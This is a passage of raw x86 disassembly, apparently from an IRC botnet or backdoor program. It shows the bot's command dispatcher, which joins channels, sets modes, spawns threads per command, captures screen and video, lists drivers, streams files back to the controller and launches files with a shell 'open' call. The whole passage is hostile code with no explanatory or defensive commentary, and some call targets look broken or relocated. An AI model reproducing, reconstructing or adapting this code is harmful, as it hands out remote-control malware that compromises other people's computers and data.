[ebp+var_668], esi pop esi mov [ebp+var_638], bx push [ebp+arg_10] mov [ebp+var_63C], esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx call near ptr 2650C14h nop test eax, eax jnz short loc_40844C push offset unk_42A010 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FF4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h call near ptr 2690000h nop push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429FBC push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2660D05h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call near ptr 267064Ch nop push eax push offset dword_429F80 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F38 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax nop call near ptr 2660D05h loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429F14 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429EFC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429EC8 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E94 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h call near ptr 2660D05h nop jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj nop call near ptr 267064Ch push eax push offset unk_429E58 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429E2C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2660D05h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 267064Ch push eax push offset dword_429DF0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DE8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DD4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429DB8 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429DB0 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D94 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D78 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D50 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D44 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2660D05h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D30 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A464 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429D14 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CF4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CD4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429CAC push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C7C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C60 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429C2C push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BFC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429BC0 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFD4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B90 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B68 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B34 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429B00 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429AC8 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A94 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A54 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_429A14 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299F0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_4299CC jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_4299C8 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42999C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429984 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429964 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429948 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429930 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h call near ptr 2660D05h nop jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j call near ptr 267064Ch nop push eax push offset unk_4298F0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298D8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_4298B4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 2660D86h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2660D05h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 2670000h test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429898 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A0A0 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429874 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429844 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429824 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297D4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB028 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB030 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_4297AC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429784 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429764 jmp loc_406CCF 